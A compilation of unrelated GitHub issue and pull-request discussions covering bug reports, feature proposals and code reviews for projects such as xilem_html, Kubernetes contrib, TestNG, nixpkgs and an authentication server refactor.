In the meantime I published my own:
https://github.com/mikestaub/passport-slack

Are you sure it's a webpack issue? Seems to be working fine on my setup.
With that said it doesn't seem necessary to expose the version number from the module like that, so probably safe to remove.

I didn't investigate the root cause fully, but when I used webpack externals it works. It's only when I try to bundle the module do I get the error.


check in generated code as end-to-end regresison test

with this, we can track precisely what has changed because of what. Also, we can throw anyone curious about the output from Cozy a simple link to GitHub

I think this is too fragile to be useful.

In simple mode, Cozy's output is deterministic. However, the output is also very bad, so there isn't much point in sharing it.
With full synthesis, Cozy's output is nondeterministic. In particular, it will often choose different names for variables.

Right now the test_examples.sh script uses simple mode, so this works. However, this will stop working if we ever want to test synthesis.

In simple mode, Cozy's output is deterministic. However, the output is also very bad, so there isn't much point in sharing it.

It is a good point. But the diff of trivial output can be useful to understand what has changed within Cozy.

With full synthesis, Cozy's output is nondeterministic. In particular, it will often choose different names for variables.

I think it is possible to make Cozy deterministic with a simple change? For example, we can assign a maximum step size for the main improvement loop to avoid using imprecise timeout. Also, variable can be made deterministic by choosing a different generator.
Making it deterministic is also useful for day-to-day debugging/reproduction.

In simple mode, Cozy's output is deterministic. However, the output is also very bad, so there isn't much point in sharing it.

Regarding this -- again from my perspective I am still curious about a synthesizer's output even if it is a trivial one or bad or anything, as long as I am informed about its status.

ping @Calvin-L


Fix Safari AudioContext initialisation

Current versions seem to require the user interaction to be on the stack when creating the context.
Switch to a single context and resume it if it starts suspended.
Add some clean-up so we can keep the single context for the lifetime of the app (across stop/start).

This is working well on Mac and iPadOS.


Add MIT License

Hello @abhn
I'd like to use this repository for a school project. This PR is to add an MIT license, so I can make sure that it's okay with you.
Thanks,
@kemp

I appreciate it sir, thank you!


ci(renovate): separate minor/patch updates for python container image

:tada: This PR is included in version 2.2.2 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Samukweku/case when deprecate

Also, do not forget to tag the relevant issue here as well.
Finally, as commits come in, don't forget to regularly rebase!
-->
PR Description
Please describe the changes proposed in the pull request:

Supports MultiIndex creation (multiple rows converted to columns)

This PR resolves #1333 .

PR Checklist

Please ensure that you have done the following:

[x] PR in from a fork off your branch. Do not PR from <your_username>:dev, but rather from <your_username>:<feature-branch_name>.

[x] If you're not on the contributors list, add yourself to AUTHORS.md.

[x] Add a line to CHANGELOG.md under the latest version header (i.e. the one that is "on deck") describing the contribution.

Do use some discretion here; if there are multiple PRs that are related, keep them in a single line.

Automatic checks
There will be automatic checks run on the PR. These include:

Building a preview of the docs on Netlify
Automatically linting the code
Making sure the code is documented
Making sure that all tests are passed
Making sure that code coverage doesn't go down.

Relevant Reviewers

Please tag maintainers to review.

@ericmjl

🚀 Deployed on https://deploy-preview-1335--pyjanitor.netlify.app

I'm going to merge this one as well. It's in a good enough state.


Feature: New modes

Want to work with buffers to create some fun images?
Consider adding a mode to Datamosh!
Work
By adding a new mode, you will be creating a new file which exports a function that manipulates data extracted from a source image's bitmap. That may sound like a lot, but it'll essentially come down to basic iteration over a buffer. Starter code has been provided here.
Your mosh mode doesn't have to do anything specific -- if you think it's cool, we probably will too. Use your imagination and feel free to experiment!
Most of Datamosh's current modes overwrite existing Red/Green/Blue (RGB) pixel values with something random. If you get stuck check out some examples.

Fatcat mode
Schifty mode
Before and after images

To test your mode, you have two options:

(Preferred) Import it into Datamosh by adding an entery in mosh.MODES, here.
Add it to the function property after you initialize Datamosh. Example code on how to do this can be found here.

On Contributing
There aren't many hoops to jump though.
Datamosh uses StandardJS for linting and formatting. You will be approved for merging as long as your code passes npm test and only modifies what is needed for your contribution.
You can learn more about contributing in our Contributing document.
(coming soon)

NOTE: This issue will remain open. Multiple contributors may add modes.
Don't worry if someone has already started working on their own mode.


Feat/sunmao start

Shall we remove scss and less from the template? When using a solution like emotion css, most users do not need CSS processors anymore.

Shall we remove scss and less from the template? When using a solution like emotion css, most users do not need CSS processors anymore.

OK.


Hack for debugging FROM scratch containers

Hacky solution to https://github.com/kubernetes/kubernetes/issues/10834 and https://github.com/kubernetes/kubernetes/issues/27140 to unblock migration of system pods to scratch base images (https://github.com/kubernetes/kubernetes/issues/40248). This is not meant to be a long term solution, but rather a temporary workaround until we have native Kubernetes support.
The script works by bringing up a busybox pod on the same node as the debug target, mounting the node's root fs, and calling docker directly to copy busybox into the target container. Once the "install" is complete, the target can be debugged through a standard kubectl exec.
/cc @verb @thockin

This change is

I think we've decomissioned contrib entirely, so maybe we should find a better home?
Re-assigning to the 2 people you atted

Oh, can't assign to @verb, Lee Verberne PTAL when you have a minute

I think we've decomissioned contrib entirely, so maybe we should find a better home?

Last I heard contrib was still the right place for debug / development scripts that are never intended to be supported or productionized. Skimming through the other repo's, I didn't see an obvious alternative. Maybe @thockin knows...

cc myself

This is a clever solution to a difficult problem, LGTM

@kubernetes/sig-contributor-experience-pr-reviews - Do we have a place for tools aimed at Kubernetes developers? I don't intend for this to be a tool for users (though there's nothing stopping people from using it, we want to build a more native experience version for them). Would it make sense to start a 'devel' repo, or rebrand contrib as that place? I bet we all have some scripts that could be useful to other Kubernetes devs.

It's not really a fit for kubernetes/test-infra, since that's more focused on things like CI.
It might fit in kubernetes/repo-infra, though that repo is pretty young, so I'm not sure what its intended use is.
I'd suggest kubernetes/community (e.g. in the contributors/devel subdir), though that repo seems to be more about docs than scripts or other code.

LGTM, needs rebase

Thanks. Squashed & rebased. Reapplying LGTM.


"Unhandled pat kind" for wildcard/rest patterns

When using wild (_) or rest (..) patterns in let assignment, the "Unhandled pat" error is printed:
>> let _ = 1;
Unhandled pat kind: Wild(PatWild { attrs: [], underscore_token: Underscore })
>> let (x, ..) = (1, 2, 3);
Unhandled pat kind: Rest(PatRest { attrs: [], dot2_token: Dot2 })

It is related to record_new_locals function:
https://github.com/google/evcxr/blob/f7050ef088b5d9b297c92cd86b087f6ddd527161/evcxr/src/eval_context.rs#L929

Thanks for pointing that out. Looks like despite the print statement, the code was being executed as expected. I'll remove the print statement. I also added a test to make sure that the code was handled properly.


Tweak docs for Scenic.Primitive

Description
I was reading through the docs and noticed a couple of typos and things that I thought could be improved. While I was at it, I tried to find as many as I could before I ran out of energy. 😅
Motivation and Context
This framework is really fun to use and there are lots of new people trying it out every day. I want to do my part to make that experience as good for them as it can be.
Types of changes

[ ] Bug fix (a non-breaking change which fixes an issue)
[ ] New feature (a non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to
not work as expected)
[X] Improvement/refactoring (non-breaking change that doesn't add any feature
but make things better)

Checklist

[X] Check other PRs and make sure that the changes are not done yet.
[X] The PR title is no longer than 64 characters.

This is now published in v0.10.2, which is a minor docs & readability oriented release

Great, thanks! 🚀


Orchestrator properties and service principal is not required

Description
The resource provider now has the ability to create a service principal
for the user so it is now an optional property. Also added this package to
a couple documentation files that it was missing from.
Service principal is optional Swagger PR
Orchestrator properties are optional Swagger PR

This checklist is used to make sure that common guidelines for a pull request are followed.

[x] I have read the contribution guidelines.
[x] The pull request does not introduce breaking changes.

General Guidelines

[x] Title of the pull request is clear and informative.
[x] There are a small number of commits, each of which have an informative message. This means that previously merged commits do not appear in the history of the PR. For more information on cleaning up the commits in your PR, see this page.

Testing Guidelines

[x] Pull request includes test coverage for the included changes.

SDK Generation Guidelines

[x] If an SDK is being regenerated based on a new swagger spec, a link to the pull request containing these swagger spec changes has been included above.
[x] The generate.cmd file for the SDK has been updated with the version of AutoRest, as well as the commitid of your swagger spec or link to the swagger spec, used to generate the code.
[x] The *.csproj and AssemblyInfo.cs files have been updated with the new version of the SDK.

We have another PR for swagger that just got merged. Should I build those changes into this PR? Or should we merge this and do the updates in a separate version?

@shahabhijeet ping :)

@shutchings please re-generate your SDK using your latest spec and if  it has breaking changes, you will have to bump up the major version.

@shahabhijeet I've finished updating the code per our discussion. I just have a few questions (see above) before merging.

@shahabhijeet thanks for answering my questions via Skype. I've finished my changes.


can you show the result of detection on the picture ? the result is bad

I run test.py to show the result,finding the result is bad.
python tools/test.py configs2/TinyPreson/base/faster_rcnn_r50_fpn_1x_TinyPerson640.py ./work_dirs/...../lastest.pth --show

Is there the code to show the results ?

@yinglang @JXQI I meet the same problem here. But I find for me, the problem is that the predicted boxes are wrongly shown on the cropped images, which makes the predictions seem weird. Is there any methods showing the predicted boxes on the original images?

I met the same problem,Have you solved this problem yet?If have,could you shard the code?


Upstream TLS 1.3 traffic key generation

The TLS 1.3 prototype contains the following functions for the derivation of key material:

mbedtls_ssl_generate_handshake_traffic_keys()
mbedtls_ssl_tls1_3_derive_master_secret()
mbedtls_ssl_generate_resumption_master_secret()
mbedtls_ssl_generate_application_traffic_keys()
mbedtls_ssl_generate_early_data_keys()
mbedtls_ssl_create_binder()

Those are mostly simple wrappers around the HKDF-based key derivation functions of TLS 1.3 which have already been upstreamed.
Task: Find a means to unit test those functions and upstream them to development under MBEDTLS_SSL_PROTO_TLS1_3_EXPERIMENTAL.
Estimated time: 3 engineering days, + review-rework

The structure of the key schedule in the TLS 1.3 prototype has changed.
The core functions are being upstreamed in #4548

Done through #4548.


add RN text for 1.2.5 (RHIDP-4218)

Signed-off-by: Nick...
What does this PR do?
add RN text for 1.2.5
Signed-off-by: Nick Boldt<EMAIL_ADDRESS>Screenshot/screencast of this PR
N/A
What issues does this PR fix or reference?
https://issues.redhat.com/browse/RHIDP-4218
How to test this PR?
run the script, see the output, paste into the specified file.
PR Checklist
As the author of this Pull Request I made sure that:

[x] Code produced is complete
[ ] Code builds without errors
[ ] Tests are covering the bugfix
[ ] Relevant user documentation updated
[ ] Relevant contributing documentation updated

Reviewers
Reviewers, please comment how you tested the PR when approving it.

Moving back to draft mode, waiting to get these 2 last CVEs fixed so we can uncomment them.
https://github.com/redhat-developer/red-hat-developers-documentation-rhdh/pull/592/files#diff-6cd3400706f9c02e85340c3d3e31ada3c098b9855ede00ded835b85eba87fcf2R2-R3

TODO: refactor to use similar filenames as in https://github.com/redhat-developer/red-hat-developers-documentation-rhdh/pull/596/files

Preview at https://redhat-developer.github.io/red-hat-developers-documentation-rhdh/pr-592/rel-notes-rhdh/#_fixed-security-issues


Flutter support for authentication, B2B, B2C and other azure services

Hi,
I would love to see an SDK for Flutter (mobile, desktop and web) for authentication (email, providers with redirects) and other azure services. Since Amplify has something similar it would be great for azure as well.
We could have authentication like B2C, what is not that easy to do for all platforms with its provider redirects and azure features.
Overall Flutter support would be great for other other services!

@Sesa1988
Thanks for your feedback! We will investigate and update as appropriate.

@Sesa1988
Thanks for your contribution. Please add your ideas in below link, so our production team can review it and update the same.
Ideas · Community (azure.com)


xilem_html: Significant refactor and introduce DOM interface traits

This PR refactors xilem_html significantly such that it:

Refactors attributes to be managed by a separate view (Attr) that composes e.g. the underlying element view instead of managing all attributes via a Vec directly on the element, this makes the API more "functional/declarative" such that something like set_attr isn't possible anymore, but gives more control over how e.g. el.attr("n", "v").attr("n", "2") should be handled exactly (currently the outermost attribute overwrites inner values (i.e. <el n="2"></el> in this example)), it's also slightly more efficient as benchmarks have shown.

Introduces DOM interface traits that roughly map to their equivalently named DOM interface counterparts that inherit from the base interface Element (currently only every interface that inherits from HTMLElement, but it could be easily extended to also include interfaces that inherit from SVGElement).
There's e.g. a HtmlCanvasElement trait which has the super trait HtmlElement which in turn has Element (the base interface) as super trait.
Element requires View + ViewMarker + Sealed as super trait bounds, so it should be a little bit more convenient to use (e.g. fn my_el<T>() -> impl Element<T> instead of fn my_el<T>() -> impl View<T> + ViewMarker. Sealed disallows further implementations downstream as safety precaution, since there are a few dynamic type-system "hacks" necessary to avoid long compilation times because of issues like this. In the future it may be feasible to allow implementations downstream.
Each DOM interface trait has the potential to support only fields that are allowed on each of the element (e.g. width and height on a HtmlCanvasElement). Currently, this is done by using the mentioned Attr view, but could be extended by directly accessing the underlying DOM attributes/methods (and I have already experimented with this here). This needs careful evaluation though (wasm binary size, performance etc.).
The DOM interface traits have another important function, as they're implemented for all kinds of views (e.g. Attr or event views) recursively until it reaches a concrete element view and all the composing views "take the dom interface type", such that canvas_el.on_click().width().attr() is possible (which was not the case previously).
So each view (like Attr) can be used as long as the "first/deepest" view in this composition chain is an element view.
Currently as example width and height is implemented for a HtmlVideoElement and HtmlCanvasElement.
A follow-up PR will likely add the rest of the attributes that are possible via HTML attributes (or goes the more ambitious and novel way of using DOM attributes (no other major framework I know of goes this route yet AFAIK)).

Refactors the element and event views, such that they're more compact and efficient when compiled (e.g. there's no extra name attribute, the view is directly macro-expanded with the relevant string. Same applies to the event views which were also majorly refactored (and with a few bug fixes too). This also replaces the Element View with a CustomElement view, which should support autonomous custom elements ("Web components"). Customized built-in elements are not supported for now, but it shouldn't be too difficult to add support for them.

Removes the extra feature flag for typed views, as I don't see a big benefit currently (after benches and usage/experiments). In the future, it maybe makes sense for the extra DOM interfaces, but that needs to be evaluated carefully (to avoid friction for either the user as well as the maintainers of xilem_html).

Removes the after_update method for now, but an improved and extended AfterUpdate view is already implemented here (which will result in a PR shortly)

For more (text-wally) information checkout the relevant zulip thread, which may contain interesting information collected along the (longer than planned) course of this PR.

There's no reason Adapt, AdaptState and Memoize can't implement Element, is there? I need at least the AdaptState impl to upgrade to this branch.

I have just looked into that. At least Memoize will have issues, as the View::rebuild until the element has to be reached, so this will have unwanted consequences (IMO):
memoize(memo_me, |memo_me| {
    p(memo_me).attr("something", "memo")
})
.attr("something2", "changes here won't be propagated to the p element, unless memo_me has changed")

This is because the context that is passed in View::rebuild collects the attributes while traversing down the tree and Memoize stops this traversal when the memoized value hasn't changed, thus the traversal doesn't reach the element view, where the actual element updates/diffing is happening.
But with View + ViewMarker instead of Element it can of course still be used (slightly inconvenient though...), so updating without using the interfaces (as return type at least) should still be working, to use .attr() and all the other methods defined on Element for element views that support it, it's just necessary to have the trait in scope (I think this is the only necessity for updating to this branch currently).
Regarding the other Views, I think it should be possible to implement the Element trait for those.
Implementing all the child interface traits should probably also work.
For the OneOf views I think it's necessary to restrict all members to one interface like this:
impl<T, A, V1: Element, V2: Element> Element<T, A> for OneOf2<V1, V2> {}
impl<T, A, V1: HtmlElement, V2: HtmlElement> HtmlElement<T, A> for OneOf2<V1, V2> {}
// probably needs all the bounds that are defined on the View impl as well...

I think Adapt and AdaptState should work as well like this:
// Adapt
impl<ParentT, ParentA, ChildT, ChildA, V, F> Element<ParentT, ParentA>
    for Adapt<ParentT, ParentA, ChildT, ChildA, V, F>
where
    V: Element<ChildT, ChildA>,
    F: Fn(&mut ParentT, AdaptThunk<ChildT, ChildA, V>) -> $crate::MessageResult<ParentA> $( $ss )*,
{
}
// AdaptState
impl<ParentT, ChildT, A, V, F> Element<ParentT, A> for AdaptState<ParentT, ChildT, V, F>
where
    V: Element<ChildT, A>,
    F: Fn(&mut ParentT) -> &mut ChildT,
{
}

I think I'll look into/implement this, when I have more time. But as said, it's of course still possible to use these views, just currently not the extra methods defined on the DOM traits (and as impl return type) on these views.

Yeah, the thing is I need to use .attr on AdaptState and OneOf2, OneOf3 unless I remove some abstractions such that I can apply the attr before wrapping the inner elements in those generic containers, and I don't really want to do that. I think Memoize is not needed and I'm not surprised that it's impossible or would have weird behavior.

I have implemented all the DOM traits for Adapt and AdaptState and with a few changes as well for the OneOf views. The OneOfN changes currently reside in it's own branch, as additional OneSeqOfN types were added because the ViewMarker super trait requirement of the Element trait (I didn't want to remove that just for these views, and I also think that OneOf may run into issues when something like this fn v() -> View + ViewMarker { OneOf2::A(v) } is necessary)
I have also (mostly) fixed your caniuse xilem branch here, you may want to check if everything is correct there (specifically src/components/index.rs because it did not compile without initializing a few uninitialized vars, that I haven't checked in detail).

Thanks.
The reason why I have decided to collect these attributes instead of setting them directly, is more control over the whole diffing/rebuilding and View::build process (by centralizing them at the concrete element view) and better support for composability of views.
E.g. what should happen when attributes are overwritten with outer views, something like el.attr("class", "1").attr("class", "2") or el.attr("class", "1").attr("class", None) (and especially a switch from Some(..) to None)?
My proposed logic for these cases is defined here.
Collecting also avoids setting the attributes multiple times in the DOM (see examples given above), which should be more efficient (less DOM traffic).
Could also be generally interesting for some kind of Modifier views. I originally wanted to do it with the associated View::State type (ElementState<VS>) which is reused for all kinds of views (e.g. Attr), but this has two disadvantages: long compile times, because of the issue linked in the PR description, and the limitation of being forced to use the same state type (could be done via a trait impl on the View::State type, but code will certainly get more complex this route, and inherently also longer compile times).
I think I will include the changes in https://github.com/Philipp-M/xilem/commit/724a5b45efbc82cba7abdf79358fd1a11fd317f6, I'm also generally not sure, whether types should have a View impl and a separate ViewSequence impl (that is not covered by the V: View blanket impl). At least with the current architecture, I think we will run into some unwanted issues (e.g. not being able to use impl View + ViewMarker as return type for OneOfN).
I think I'll also reorder the generic attributes of composing views as proposed here.

Ok, I'm merging this as it had multiple iterations, and I'm relatively happy with the outcome (little bit more complex than I would've wished, but I guess that's the price to pay for more sophisticated/correct typing with a lot of hierarchical DOM interfaces, avoiding a lot of boilerplate).


Regression: @BeforeMethod failures are missing from new test reports

Basically, if a test fails inside @BeforeMethod, the new test reports do not show what actually failed (unlike old reports). I will be attaching screenshots to illustrate the issue. The workaround is to look at emailiable-reports.html fail.

As of TestNG 6.14.3 (latest released version), there's a small behavior change.
If the intent here is to find out why did a particular test method get skipped, then we can find that out from the new reports as well, by looking at the skipped tests (which now shows you what caused the method to skip)
The configuration methods (AFAIK) were never shown in the reports at all (irrespective of whether they passed or failed) except for the chronological view (which again doesn't show reason for config failures, if there were any failures).
Closing this as working as designed
Sample class
import org.testng.annotations.BeforeMethod;
import org.testng.annotations.Test;

public class SampleTestClass {
  @BeforeMethod
  public void beforeMethod() {
    throw new RuntimeException("Failed");
  }

  @Test
  public void testMethod() {
    System.err.println("Hello world");
  }
}

screenshot of the report which shows why testMethod() failed.


Processing Stephen and Matthew Ranger Interview

Stephen has had a conversation with Matthew Ranger that should be processed and added to the site.
https://drive.google.com/file/d/19EnexwCcj-zasIzPltA_5qjBQsAnhmv5/view?usp=sharing
Acceptance

[ ] Conversation on podcast platforms
[ ] Conversation on YouTube
[ ] Conversation on web3 site

@theo-cox I have made an Issue workflow for this in Comms: https://github.com/life-itself/comms/issues/30 should we move it over here?

Sorry my bad for not using! If that's easier for you then please do


Map workspace to iprojectsite

Use the Roslyn workspace as a datasource for source files and referenced projects for the F# Editor language service.
Note: as of right now the source files are not in project file order.
Was:  https://github.com/Microsoft/visualfsharp/pull/3391

@KevinRansom As part of validating this could you check the before/after times for "What task manager shows as CPU usage at the time we can first perform a file edit" for
devenv tests\projects\stress\big\dense\Dense.sln

devenv tests\projects\stress\huge\dense\Dense.sln

Thanks. Also, we should write out a list of things we need to test manually when changes like this are made, e.g.

Create a .NET Framwork Library + App, add a reference from App to Library, test goto-definition, remove the reference, add it back, test goto-definition etc.

Same for .NET Core Library + App

@dsyme .... yes I know ... I have some ideas.

Why is the branch name keys?  Is this based on the correct branch?

because halfway through I looked at the keyboard fix, then I cherry picked the fix over.
I think because ... reasons .... (none of which are sensible).

I see.  Is this PR in a good enough state to validate experience-wise?

@cartermp not even close.

Closing in favour of: https://github.com/Microsoft/visualfsharp/pull/3564


Proxy

I have a @ sign in the proxy password. Because of this, I can no use http://user: pass@iporhost: port. I so understand because of the fact that in the "pass" ahead of time is read @.

I found # 1677 But it does not help.


feat: prebuild warning message

:tada: This PR is included in version 0.326.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


bootstrap label

I have Datatable having a column named as "Status" , I am retrieving the data from the database and displaying under this column, if the status is "failed" it should be displayed under "danger-label" of bootstrap and if the status is "running" it should be displayed under "primary-label" of bootstrap as you used for [is active: bootstrap] in your datatable sample, can you just help to achieve this ?
I tried many ways but i was only able to apply some background color, which i dont like it at all.
Reference Image Link : link

Hi @vaishnavkoka you have to do this in your PHP code. You can check your status data and accordingly set css class for element.
For example
<?php $status = "running";?>
<span class="label <?php echo ($status=='running')?'label-success':'label-danger';?>">Approved


Incorrect message displayed

Description
When the user clicks on the Forgot password then while inputting credentials the application displays misguiding message when the user clicks on submit button.
Initially, it functions well but in the end, it displays incorrect message.
##For a registered user
Steps to reproduce
Click on Forgot Password? Click here to reset.. Enter your E-mail and click on SUBMIT button. See the message displayed.
Would you like to work on this issue?
Yes
Screenshots

@Swati4star please label the issue.

I think its probably the server crashes and send back the wrong response that contains html  -> https://stackoverflow.com/questions/42096207/value-doctype-of-type-java-lang-string-can-not-be-converted-to-jsonobject

The issue has been fixed now. It indeed was because of server.


Improved: code to only display those PO ids for which a corresponding sales order is available(#27qxday)(CU-232z8jk)

closes #105

Task linked: CU-232z8jk Implement logic to make filters functional on the product
inventory list page.

Task linked: CU-27qxday Filter POs by reservation only on SO find page


cassandra: fix cqlsh not working

Fixes #329864
Description of changes

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.11 Release Notes (or backporting 23.11 and 24.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

@siraben @roberth any change one of you could review the submission?

cass0 #   File "/nix/store/grpf08xd5jkb76zd6vqxzzdcacpqkqvg-cassandra-4.1.2/bin/.cqlsh.py-wrapped", line 135, in <module>
cass0 #     from cassandra.cluster import Cluster
cass0 #   File "/nix/store/grpf08xd5jkb76zd6vqxzzdcacpqkqvg-cassandra-4.1.2/bin/../lib/cassandra-driver-internal-only-3.25.0.zip/cassandra-driver-3.25.0/cassandra/cluster.py", line 33, in <module>
cass0 # ModuleNotFoundError: No module named 'six.moves'
cass0: output:
Test "Can connect via cqlsh" failed with error: "command `echo 'show version;' | cqlsh cass0` failed (exit code 1)"

See ofborg. Incompatible six version?

It's also here: https://github.com/NixOS/nixpkgs/blob/8c9630d265fa4665bd2ad86e39eadcb930470544/pkgs/development/interpreters/spidermonkey/common.nix#L89
Try using python311Packages instead.


Send to maildrop in test or based on env

This was being selected for everything but production, but preprod, of
course, runs in production mode, so it wasn't working. This fixes that.

Tested on preprod and is working as it should be!! :+1:


Authentication Module Refactor

Rewrite/Refactor the authentication server to make it lightweight and modular so that

It can be moved into a separate repository
Handle different authentication modules

Local
Gmail Auth (Mandatory)
Github (Optional)

@rajdas98 the current auth setup uses "mgo" go package which is not well maintained as compared to the official go.mongodb.org/mongo-driver/mongo driver , should we prefer using the official mongo-driver in the new api ?

Yes you have to use the official mongo go driver

@rajdas98 @gdsoumya , sir one more doubt , the current implementation uses mongodb for session management but i believe using redis is a better solution for session management . So should we go with mongodb or switch to redis for managing sessions ?

There is no session management I believe, we use jwt tokens for authorization so session management in the true sense is not needed in our case.

okay sir thanks .

@specter25 , Currently, we are not planning to use other db. The goal of this project is to make the auth-server light-weight and add other thirty party integration.

Okay sir got it .

@rajdas98 by light-weight, in what aspects is it expected to be light? lesser third party dependencies? or more memory efficient paradigms of code? A quick gist would be insightful!

@rajdas98 by light-weight, in what aspects is it expected to be light? lesser third party dependencies? or more memory efficient paradigms of code? A quick gist would be insightful!

Currently, authentication-server has a lot of unnecessary code complexity and uses some outdated packages like mgo. Also, we have seen authentication-server taking more memory than graphql-server.
The first goal of this project would be to rewrite/refactor to make it simple, light-weight and modular, and the second goal is to add the google and GitHub auth integration.
@gdsoumya Do you want to add anything?

@rajdas98 @gdsoumya as we have to create a light weight server , so should  I implement the functionality of refresh token in the custom (jwt auth) so that the token automatically refreshes after it expires and the user doesn't has to login again ?

I don't think we need refresh tokens, this will change the auth flow which we don't want to do right now. Adding refresh tokens will also need to be complemented with blacklisting or revoke feature or else it will be vulnerable to attacks. Currently I think asking the user to log back in is a better approach and more secure, because if by chance the refresh token is exposed(and goes undetected) the attacker can gain access to critical resources which we do not want.

Yeah i agree . Got it . Thanks for helping :)

Hi folks,
Google Summer of Code just opened the portal for student's applications. Feel free to submit your proposal before the deadline. Following are the things we need in the proposal.

Description of the problem (Mandatory)
Solution according to your opinion (Mandatory)
Relevant work experience and skills (Mandatory)
Deliverables with proper timeline (Mandatory)
Willingness to take other issues after the primary task (Mandatory)
Proof of Concept (Optional)
Time availability during the period (Mandatory)
Questions/Notes for the mentor (Optional)

Note(s):

Early submission doesn't increase the chances of selection
We will try to do a quick video conference with the suitable candidates before the GSoC result.

Best of luck,
Raj

sure sir . Thanks for the heads up :)

Hi folks,
The application deadline is coming close. Please make sure to submit the proposal from the GSoC dashboard before April 13 2021 18:00 UTC

sure sir .


Occurs after entered an captcha. Might be incorrect reading of the amount of proxies.

System.ArgumentOutOfRangeException: Specified argument was out of the range of valid values.
Parameter name: i
at System.Text.RegularExpressions.MatchCollection.get_Item(Int32 i)
at SteamAccCreator.Web.HttpHandler.GetCaptchaImageraw()
at SteamAccCreator.Gui.CaptchaDialog.LoadCaptcha(Action1 updateStatus, CaptchaSolvingConfig config)    at SteamAccCreator.Gui.CaptchaDialog..ctor(HttpHandler httpHandler, Action1 updateStatus, CaptchaSolvingConfig config)
at SteamAccCreator.Gui.AccountCreator.ShowCaptchaDialog(HttpHandler httpHandler, Action`1 updateStatus, CaptchaSolvingConfig captchaConfig)
at SteamAccCreator.Gui.AccountCreator.StartCreation()
at SteamAccCreator.Gui.AccountCreator.d__25.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.CompilerServices.AsyncMethodBuilderCore.<>c.b__6_1(Object state)
at System.Threading.QueueUserWorkItemCallback.WaitCallback_Context(Object state)
at System.Threading.ExecutionContext.RunInternal(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean preserveSyncCtx)
at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean preserveSyncCtx)
at System.Threading.QueueUserWorkItemCallback.System.Threading.IThreadPoolWorkItem.ExecuteWorkItem()
at System.Threading.ThreadPoolWorkQueue.Dispatch()
at System.Threading._ThreadPoolWaitCallback.PerformWaitCallback()

This however, might have been an earlier release.

as i understand this exception throw at parsing captcha gid


Configuration for semantic attributes collection

This is related to https://github.com/MrAlias/otel-schema/issues/8#issuecomment-1339138866. I was thinking about this for a little bit and wanted to propose the following:
One of the key features of the OpenTelemetry spec are the semantic conventions. The semconv comes down to a bunch of attributes for resources, traces, metrics, logs etc. Now some of them have already a comment on their configurability, e.g. the general identity attributes, the http headers, database statement sanitization, etc.
For the otel configuration file I was thinking about a language agnostic way of potentially(!) making all attributes configurable, similar to what the example config.yml already has for resource
sdk:
  metric:

  # Copied from the existing example
  resource:
    attributes:
      service:
        name: !!str "unknown_service"
  trace:
    attributes:
     db:
       statement:
         sanitized: true
     enduser: disabled
       http:
         request:
           header:
              - content_type
              - x_forwarded_for
              - ...
        response:
           header:
              - my_custom_header

I am not yet 100% satisfied with the layout, since it is extremely complex if attributes have a long namespace and it is also not yet consistent, but I wanted to start with this as a proposal and see what everybody else thinks

This is an instrumentation concern rather than an SDK concern.
The SDK is responsible for processing invocations of the APIs by instrumentation. Currently, there's no text in the SDK specifications that would describe how an SDK would handle this type of configuration.
Resource configuration is an exception because the resource is a concept that only appears in the SDK. Instrumentation is never concerned with the resource.

This is an instrumentation concern rather than an SDK concern.
The SDK is responsible for processing invocations of the APIs by instrumentation. Currently, there's no text in the SDK specifications that would describe how an SDK would handle this type of configuration.
Resource configuration is an exception because the resource is a concept that only appears in the SDK. Instrumentation is never concerned with the resource.

@jack-berg so you suggest to put the trace etc specific things into an instrumentation section, e.g.
sdk:
  # Copied from the existing example
  resource:
    attributes:
      service:
        name: !!str "unknown_service"
instrumentation:
  trace:
    attributes:
     db:
       statement:
         sanitized: true
     enduser: disabled
       http:
         request:
           header:
              - content_type
              - x_forwarded_for
              - ...
        response:
           header:
              - my_custom_header


Support for windows #41

Addresses https://github.com/Learn-by-doing/bitstarter/pull/41 - use bcrypt-nodejs on Windows
What I did:

I modified the package.json, making bcrypt an optional dep. Thus the install won't fail. On Windows you'll get bcrypt-nodejs only. On Unix you'll get both bcrypt and bcrypt-nodejs installed.
I got the inspiration from http://stackoverflow.com/a/26069595
See 'danger' note there.

I created platform-dep.js where the bcrypt v bcrypt-nodejs logic resides. If bcrypt is present, it'll use that. If not, it'll use bcrypt-nodejs. I did it in a way in which you can add furhter exports later.

I replaced references ('require') to bcrypt with platform-dep.js

Apparently, when using bcrypt-nodejs the bcrypt.hash function in create-user.js requires a third callback progress. I added null to the code. I hope this works for Unix too. Can't test.
See a bit of background here http://stackoverflow.com/a/21116806

Sorry for the mess with extra commits. Charlie's gonna decline the PR anyway so it doesn't matter. :P

Apart from fixing that lint issue we'll have to address 4. as well. Null as the third parameter breaks the script on OSX

@chill117  please merge this. Not sure why it doesn't show Travis CI status, but it passed on my account

Cannot merge because of conflicts with upstream/master.


Added @Inject example for Database

Just to clarify that Database "can be used without any modifiers".

Wise - thanks!


Prettier - Github Action

What does this pull request aim to achieve? 💯
Adding Prettier on Github Action as a suggestion to format the code automatically.
https://github.com/marketplace/actions/prettier-action
flow

checks the master branch and formats the code opening a PR automatically once per day - needs to be checked if works

the comma's should be added, see https://github.com/FightPandemics/FightPandemics/blob/master/.prettierrc.yml
Prettier is configured to always add trailing comma's, so it seems like something wasn't working right
but they should already be added by the pre-commit hooks
